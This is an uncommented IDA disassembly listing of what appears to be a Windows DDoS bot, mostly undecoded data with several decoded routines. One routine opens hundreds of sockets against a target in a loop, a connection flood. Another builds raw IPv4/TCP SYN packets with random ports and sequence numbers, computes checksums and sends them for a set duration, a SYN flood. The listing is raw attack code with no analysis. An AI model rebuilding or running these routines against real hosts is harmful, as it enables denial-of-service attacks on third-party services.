		dd 68000004h, 4CE740h, 0FFFC75FFh, 4CBA3815h, 0FFF88300h
		dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 6C15FFFCh,	0FF004CBAh
		dd 4CB96815h, 858D5000h, 0FFFFFE48h, 500875FFh,	43792C68h
		dd 44858D00h, 68FFFFFCh, 200h, 861AE850h, 0C4830000h, 0DC7D3918h
		dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh
		dd 0FE44B5FFh, 0FEE8FFFFh, 83FFFF5Ah, 858D14C4h, 0FFFFFC44h
		dd 1FBEE850h, 75FF0000h, 7954E8C8h, 5959FFFFh, 0C276E857h
		dd 0FF90022Eh, 15FFFC75h, 4CBA6Ch, 3308458Bh, 3CC06BD2h
		dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh
		dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 4378E068h
		dd 9BE85000h, 83000084h, 7D391CC4h, 572075DCh, 0FC44858Dh
		dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h,	0E8FFFFFEh
		dd 0FFFF5A79h, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh
		dd 0CFE8C875h, 59FFFF78h, 0E8905759h, 22EC1F0h
dword_413E10	dd 0B8EC8B55h, 10320h, 86E3E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+542Do
		dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 5C15FF00h
		dd 89004CB9h, 858D0845h, 0FFFFFF40h, 1415FF50h,	8B004CBAh
		dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 5815FF50h
		dd 3B004CBAh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh
		dd 0FCBC858Dh, 1C68FFFFh, 5000437Ah, 83DDE8h, 0CC48300h
		dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh,	0FEC0858Dh
		dd 0FF50FFFFh, 0FFFEBCB5h, 59BBE8FFh, 0C483FFFFh, 0BC858D14h
		dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF7811E8h, 575959FFh
		dd 0C132E890h, 0C33B022Eh, 408B0C74h, 8B008B0Ch, 0FC458900h
		dd 758903EBh, 8D1C6AFCh, 5053E045h, 8083E8h, 0E84D8300h
		dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h
		dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h
		dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h
		dd 4CB8ECh, 0C0753B46h,	75FFDA7Ch, 8C15FF08h, 8D004CBAh
		dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 4379F068h, 0FE85000h
		dd 83000083h, 5D390CC4h, 532075D8h, 0FCBC858Dh,	75FFFFFFh
		dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF58EDh
		dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 43E8D075h
		dd 59FFFF77h, 65E85359h, 90022EC0h
dword_413F9C	dd 0B8EC8B55h, 10310h, 8557E8h,	8458B00h, 6A575653h, 59F08B49h
					; DATA XREF: sub_401ACD+5679o
		dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 5DE89000h
		dd 500229CEh, 82E7E8h, 116A5900h, 26A026Ah, 0BA5415FFh
		dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 7F82E850h,	0C4830000h
		dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CBA14h
		dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CBA5815h
		dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh,	7068FFFFh
		dd 5000437Ah, 8231E8h, 0CC48300h, 75E87D39h, 858D5720h
		dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h
		dd 580FE8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h
		dd 0E075FF00h, 0FF7665E8h, 565959FFh, 2EBF87E8h, 408B9002h
		dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh,	2FE81175h
		dd 99000082h, 0FFDCB9h,	42F9F700h, 0FF03EB52h, 15FFDC75h
		dd 4CB9D4h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h
		dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h
		dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh,	81E1E8h
		dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh
		dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah,	106AF045h
		dd 0B3E85750h, 6A000081h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh
		dd 0FEFCF085h, 0FF5350FFh, 4CBA3815h, 0D875FF00h, 0C2F6E890h
		dd 754E0228h, 0DC7D39CEh, 83E8BC75h, 99000081h,	0FFDCB9h
		dd 42F9F700h, 0D415FF52h, 66004CB9h, 0EBF24589h, 50858DA1h
		dd 50FFFFFFh, 0FCCC858Dh, 4468FFFFh, 5000437Ah,	80F9E8h
		dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh,	50E475FFh
		dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 56D7E8FFh, 0C483FFFFh
		dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF752DE8h
		dd 575959FFh, 2EBE4FE8h
		db 2, 90h
word_4141B2	dw 8B55h		; DATA XREF: sub_401ACD+4CC4o
		dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh
		dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh
		dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h,	8D500CC4h
		dd 0FFFBEC85h, 7A9868FFh, 0E8500043h, 805Eh, 0C483F633h
		dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h
		dd 50FFFFFFh, 0FDECB5FFh, 3AE8FFFFh, 83FFFF56h,	858D14C4h
		dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7490E8F0h,	5959FFFFh
		dd 0BDB2E856h, 5F90022Eh
; ---------------------------------------------------------------------------
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414251	proc near		; CODE XREF: ___:0041433Ap

var_654		= byte ptr -654h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 654h
		push	10h
		lea	eax, [ebp+var_14]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_14], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		mov	[ebp+var_12], ax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_8]
		test	eax, eax
		mov	[ebp+var_4], 1
		jle	short loc_41430F
		push	ebx
		push	esi
		push	edi
		mov	[ebp+arg_4], eax
		mov	edi, 190h


loc_41429C:				; CODE XREF: sub_414251+B9j
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142A4:				; CODE XREF: sub_414251+7Aj
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3C22h
		cmp	eax, 0FFFFFFFFh
		mov	[esi], eax
		jz	short loc_4142C7
		lea	ecx, [ebp+var_4]
		push	ecx
		push	8004667Eh
		push	eax
		nop
		call	near ptr 71AB155Ah


loc_4142C7:				; CODE XREF: sub_414251+64j
		add	esi, 4
		dec	ebx
		jnz	short loc_4142A4
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142D5:				; CODE XREF: sub_414251+96j
		lea	eax, [ebp+var_14]
		push	10h
		push	eax
		push	dword ptr [esi]
		call	near ptr 71AB3E5Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_4142D5
		push	64h
		call	near ptr 26A0428h
		nop
		lea	esi, [ebp+var_654]
		mov	ebx, edi


loc_4142F9:				; CODE XREF: sub_414251+B4j
		push	dword ptr [esi]
		call	near ptr 71AB1A6Dh
		nop
		add	esi, 4
		dec	ebx
		jnz	short loc_4142F9
		dec	[ebp+arg_4]
		jnz	short loc_41429C
		pop	edi
		pop	esi
		pop	ebx


loc_41430F:				; CODE XREF: sub_414251+3Ej
		xor	eax, eax
		leave
		retn
sub_414251	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	edi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	esi, eax
		push	esi
		push	ebx
		push	edi
		call	sub_414251
		add	esp, 18h
		test	eax, eax
		jnz	short loc_414349
		push	1
		pop	eax


loc_414349:				; CODE XREF: ___:00414344j
		cdq
		mov	ecx, 3E8h
		pop	edi
		idiv	ecx
		cdq
		idiv	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
dword_414358	dd 81EC8B55h, 414ECh, 8458B00h,	85B95756h, 8B000000h, 0ECBD8DF0h
					; DATA XREF: sub_401ACD+636Bo
		dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h
		dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h
		dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 437AC4h, 7EB8E850h
		dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh
		dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF5494E8h
		dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh
		dd 0FFFF72EAh, 0E8565959h, 22EBC0Ch
		db 90h
; ---------------------------------------------------------------------------
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4143F7	proc near		; CODE XREF: ___:004146E5p

var_284		= byte ptr -284h
var_F4		= byte ptr -0F4h
var_B4		= byte ptr -0B4h
var_B3		= byte ptr -0B3h
var_A0		= byte ptr -0A0h
var_94		= byte ptr -94h
var_8C		= byte ptr -8Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= dword	ptr -58h
var_50		= word ptr -50h
var_4E		= word ptr -4Eh
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= word ptr -34h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= byte ptr -28h
var_27		= byte ptr -27h
var_26		= word ptr -26h
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= byte ptr -20h
var_1E		= word ptr -1Eh
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_4CB944
		test	eax, eax
		jz	short loc_414437
		xor	eax, eax
		jmp	loc_4146A5
; ---------------------------------------------------------------------------


loc_414437:				; CODE XREF: sub_4143F7+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_4CBA78
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jz	loc_41469D
		push	esi
		lea	ecx, [ebp+var_38]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_38], edi
		call	dword_4CB9B4
		cmp	eax, 0FFFFFFFFh
		jz	loc_414693
		push	10h
		lea	eax, [ebp+var_50]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_50], 2
		push	[ebp+arg_8]
		call	dword_4CB9D4
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_4E], ax
		mov	[ebp+var_4C], esi
		mov	[ebp+var_20], 45h
		call	dword_4CB9D4
		push	[ebp+arg_8]
		mov	[ebp+var_1E], ax
		mov	[ebp+var_1C], di
		mov	[ebp+var_1A], bx
		mov	[ebp+var_18], 80h
		mov	[ebp+var_17], 6
		mov	[ebp+var_16], bx
		mov	[ebp+var_10], esi
		call	dword_4CB9D4
		push	4000h
		mov	[ebp+var_32], ax
		mov	[ebp+var_2C], ebx
		mov	[ebp+var_28], 50h
		mov	[ebp+var_27], 2
		call	dword_4CB9D4
		mov	[ebp+var_26], ax
		lea	eax, [ebp+var_40]
		push	eax
		mov	[ebp+var_22], bx
		mov	[ebp+arg_8], ebx
		call	near ptr 27B0507h
		nop
		lea	eax, [ebp+var_8]
		push	eax
		call	near ptr 27B026Ah
		nop
		push	[ebp+var_3C]
		mov	eax, [ebp+arg_C]
		cdq
		push	[ebp+var_40]
		push	edx
		push	eax
		call	sub_41DB20
		add	eax, [ebp+var_8]
		mov	esi, edx
		adc	esi, [ebp+var_4]
		mov	[ebp+var_58], eax


loc_414522:				; CODE XREF: sub_4143F7+25Dj
					; sub_4143F7+26Bj
		mov	[ebp+var_24], bx
		call	sub_41C2C2
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_4CB9D4
		mov	[ebp+var_34], ax
		call	sub_41C2C2
		mov	edi, eax
		shl	edi, 10h
		call	sub_41C2C2
		or	edi, eax
		push	edi
		call	dword_4CB9D4
		movzx	eax, ax
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_4CB9D0
		push	14h
		mov	[ebp+var_14], eax
		mov	eax, [ebp+var_10]
		pop	edi
		push	edi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_4CB9D4
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_14]
		mov	[ebp+var_78], eax
		lea	eax, [ebp+var_78]
		push	20h
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_24], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [ebp+var_A0]
		push	eax
		call	sub_41CD20
		push	4
		lea	eax, [ebp+var_8C]
		push	ebx
		push	eax
		call	sub_41BF70
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40AA5F
		mov	[ebp+var_16], ax
		lea	eax, [ebp+var_20]
		push	edi
		push	eax
		lea	eax, [ebp+var_B4]
		push	eax
		call	sub_41CD20
		add	esp, 14h
		lea	eax, [ebp+var_50]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_C]
		call	dword_4CBA38
		cmp	eax, 0FFFFFFFFh
		jz	short loc_414667
		add	[ebp+arg_8], eax
		lea	eax, [ebp+var_8]
		push	eax
		nop
		call	near ptr 27B026Ah
		mov	eax, [ebp+var_4]
		cmp	eax, esi
		jg	short loc_414690
		jl	loc_414522
		mov	eax, [ebp+var_8]
		cmp	eax, [ebp+var_58]
		jnb	short loc_414690
		jmp	loc_414522
; ---------------------------------------------------------------------------


loc_414667:				; CODE XREF: sub_4143F7+247j
		call	dword_4CB968
		push	eax
		lea	eax, [ebp+var_F4]
		push	offset dword_437AEC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_F4]
		push	eax
		call	sub_415D38
		add	esp, 10h
		jmp	short loc_414693
; ---------------------------------------------------------------------------


loc_414690:				; CODE XREF: sub_4143F7+25Bj
					; sub_4143F7+269j
		mov	ebx, [ebp+arg_8]


loc_414693:				; CODE XREF: sub_4143F7+78j
					; sub_4143F7+297j
		push	[ebp+var_C]
		call	dword_4CBA6C
		pop	esi


loc_41469D:				; CODE XREF: sub_4143F7+5Bj
		call	dword_4CB92C
		mov	eax, ebx


loc_4146A5:				; CODE XREF: sub_4143F7+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_4143F7	endp

; ---------------------------------------------------------------------------
		push	ebx
		push	esi
		push	edi
		push	dword ptr [esp+10h]
		call	sub_40A8F0
		push	dword ptr [esp+18h]
		mov	esi, eax
		call	sub_41C159
		push	dword ptr [esp+20h]
		mov	ebx, eax
		call	sub_41C159
		mov	edi, eax
		call	sub_41C2C2
		cdq
		mov	ecx, 200h
		push	edi
		idiv	ecx
		push	ebx
		lea	eax, [edx+esi+100h]
		push	eax
		push	esi
		call	sub_4143F7
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_4146F4
		push	1
		pop	eax


loc_4146F4:				; CODE XREF: ___:004146EFj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
byte_414703	db 55h			; DATA XREF: sub_401ACD+6D3Do
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 7A25h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
		dd 5DE8h, 50595900h, 0FC6C858Dh, 0C68FFFFh, 5000437Bh
		dd 7B09E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh
		dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h,	0E8FFFFFEh
		dd 0FFFF50E5h, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h
		dd 3BE8F075h, 59FFFF6Fh, 0E8905659h, 22EB85Ch, 8B555E5Fh
		dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh
		dd 6583046Ah, 0BB5E00A8h, 0FFh,	0C033066Ah, 0AC7D8D5Ah
		dd 0FF7C8D89h, 45C7FFFFh, 280h,	84758900h, 0C7885589h
		dd 88C45h, 45C70000h, 0C90h, 9445C700h,	11h, 169845C7h
		dd 0C7000000h, 299C45h,	45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h
		dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h
		dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh
		dd 100h, 915FE857h, 89590000h, 5057FC45h, 0B9E815FFh, 75FF004Ch
		dd 5815FFFCh, 8B004CBAh, 6A530C40h, 8B026A03h, 89008B00h
		dd 15FFF445h, 4CBA54h, 56D84D8Dh, 6A026A51h, 45895000h
		dd 0B415FFFCh, 0BE004CB9h, 200h, 7627E856h, 3D8B0000h
		dd 4270B0h, 0F8458959h,	4589D7FFh, 8458BF0h, 29A68h, 6C858900h
		dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0B9D415FFh, 8966004Ch
		dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h
		dd 870F0C45h, 0CFh, 79E5E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h
		dd 0E2C100FFh, 89D00B18h, 0CBE8F455h, 99000079h, 0F9F7CB8Bh
		dd 0E8AC5589h, 79BEh, 1FA4B999h, 45C60000h, 0F9F745DCh
		dd 4DD45C6h, 0E8D45589h, 79A6h,	0E0458966h, 799DE8h, 990A6A00h
		dd 66F9F759h, 0B095448Bh, 0D415FF50h, 56004CB9h, 0E2458966h
		dd 0B9D415FFh, 8966004Ch, 5D88DE45h, 7974E8E4h,	0E6A0000h
		dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh
		dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF60EAE8h, 458966FFh
		dd 0DC458DE6h, 0FF50146Ah, 99E8F875h, 83000083h, 858D14C4h
		dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0BA3815FFh
		dd 1AE9004Ch, 0FFFFFFFFh, 0E2E8F875h, 59000070h, 0FFFC75FFh
		dd 4CBA6C15h, 58016A00h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
byte_4149C1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+5306o
		dd 440EC81h, 458B0000h,	57565308h, 0F08B686Ah, 0C0BD8D59h
		dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah
		dd 19Ch, 88C03359h, 0FFFF609Dh,	66ABF3FFh, 3D8BAAABh, 4270B0h
		dd 0E850D7FFh, 78ACh, 0FF6859h,	36A0000h, 15FF026Ah, 4CBA54h
		dd 89FFF883h, 6675FC45h, 0B96815FFh, 8D50004Ch,	0FFFBC085h
		dd 7C2468FFh, 0E8500043h, 782Ah, 390CC483h, 0FFFF589Dh
		dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 2E8FFFFh, 83FFFF4Eh, 858D14C4h
		dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF6C55E8h
		dd 535959FFh, 2EB577E8h, 4D8D9002h, 51046ACCh, 5053026Ah
		dd 0FFCC7589h, 4CB9B415h, 0FFF88300h, 15FF6675h, 4CB968h
		dd 0C0858D50h, 68FFFFFBh, 437BECh, 77ACE850h, 0C4830000h
		dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h,	0FF54B5FFh
		dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF4D84E8h
		dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh
		dd 0D7E8FFFFh, 59FFFF6Bh, 0F9E85359h, 90022EB4h, 0FDC4858Dh
		dd 0FF50FFFFh, 4CBA1415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h
		dd 437BCC68h, 3BE85000h, 39000077h, 0FFFF589Dh,	755959FFh
		dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h
		dd 0B5FF50FFh, 0FFFFFDC0h, 0FF4D14E8h, 14C483FFh, 0FBC0858Dh
		dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 67E8FFFFh, 59FFFF6Bh
		dd 89E85359h, 90022EB4h, 458D106Ah, 0E85053BCh,	73ECh
		dd 660CC483h, 2BC45C7h,	15FF5300h, 4CB9D4h, 0BE458966h
		dd 0FDC4858Dh, 0FF50FFFFh, 4CBA1415h, 0C0458900h, 0FF085D89h
		dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h
		dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0B9D415FFh
		dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h
		dd 80DC45C6h, 6DD45C6h,	0DE5D8966h, 0C7E82D74h,	8B000076h
		dd 8E6C1F0h, 76BDE8h, 0C1F00300h, 0B3E808E6h, 3000076h
		dd 8E6C1F0h, 76A9E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh
		dd 0FFFDC0B5h, 5DD8E8FFh, 5059FFFFh, 0BA1415FFh, 4589004Ch
		dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7676h
		dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 0D415FFFFh
		dd 66004CB9h, 0E8EA4589h, 7656h, 401B999h, 0F9F70000h
		dd 0D415FF52h, 68004CB9h, 12345678h, 0E8458966h, 0B9D015FFh
		dd 4589004Ch, 44858DECh, 68FFFFFEh, 42B0D0h, 7642E850h
		dd 85590000h, 97459C0h,	0C6F05D89h, 0EB02F545h,	44858D5Ch
		dd 68FFFFFEh, 42AEE8h, 7622E850h, 85590000h, 97459C0h
		dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42AEE0h
		dd 7602E850h, 85590000h, 257459C0h, 75D9E8h, 99036A00h
		dd 89F9F759h, 0CBE8F055h, 6A000075h, 0F7599902h, 1ADAF7F9h
		dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h
		dd 4CB9D4h, 0F6458966h,	89E0458Bh, 458B9C45h, 66146AE4h
		dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h,	0D415FF06h
		dd 66004CB9h, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh
		dd 7FCBE8h, 0E8458D00h,	8D50146Ah, 0E8508045h, 7FBCh, 0FF60858Dh
		dd 346AFFFFh, 5CEDE850h, 8966FFFFh, 458DF845h, 50146AD4h
		dd 0FF60858Dh, 0E850FFFFh, 7F98h, 6AE8458Dh, 858D5014h
		dd 0FFFFFF74h, 7F86E850h, 46A0000h, 5388458Dh, 71CAE850h
		dd 0C4830000h, 60858D44h, 6AFFFFFFh, 0A8E85028h, 66FFFF5Ch
		dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 7F53E8h
		dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h,	503C6AFFh
		dd 0FFFC75FFh, 4CBA3815h, 0FFF88300h, 45FF0874h, 0FDBAE908h
		dd 75FFFFFFh, 6C15FFFCh, 0FF004CBAh, 4CB96815h,	858D5000h
		dd 0FFFFFDC4h, 500875FFh, 437B7C68h, 0C0858D00h, 68FFFFFBh
		dd 200h, 753AE850h, 0C4830000h,	589D3918h, 75FFFFFFh, 858D5323h
		dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh
		dd 0FFFFFDC0h, 0FF4A18E8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh
		dd 0ED8h, 0FF44B5FFh, 6BE8FFFFh, 59FFFF68h, 8DE85359h
		dd 90022EB1h, 0FFFC75FFh, 4CBA6C15h, 8458B00h, 0C06BD233h
		dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h
		dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h
		dd 437B2C68h, 0AFE85000h, 83000073h, 9D391CC4h,	0FFFFFF58h
		dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh,	0FEC4858Dh
		dd 0FF50FFFFh, 0FFFDC0B5h, 4987E8FFh, 0C483FFFFh, 0C0858D14h
		dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF67DAh
		dd 90535959h, 2EB0FBE8h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+0Ch], esi
		jle	short loc_414F31
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_414F23:				; CODE XREF: ___:00414F2Bj
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_414F23
		pop	edi
		cmp	eax, 1


loc_414F31:				; CODE XREF: ___:00414F17j
		jnz	short loc_414F3E
		mov	al, [edx]
		mov	[ebp+0Ch], al
		movzx	eax, word ptr [ebp+0Ch]
		add	esi, eax


loc_414F3E:				; CODE XREF: ___:loc_414F31j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------
byte_414F57	db 55h			; DATA XREF: sub_401ACD+6C68o
		dd 0EC81EC8Bh, 394h, 5608458Bh,	59656A57h, 0BD8DF08Bh
		dd 0FFFFFE6Ch, 80C7A5F3h, 190h,	1, 0FEF0858Dh, 0E850FFFFh
		dd 71D1h, 858D5059h, 0FFFFFE70h, 1415FF50h, 50004CBAh
		dd 0FE6CB58Dh, 0EC81FFFFh, 194h, 8B59656Ah, 0E8A5F3FCh
		dd 5Fh,	19CC481h, 8D500000h, 0FFFC6C85h, 7C5868FFh, 0E8500043h
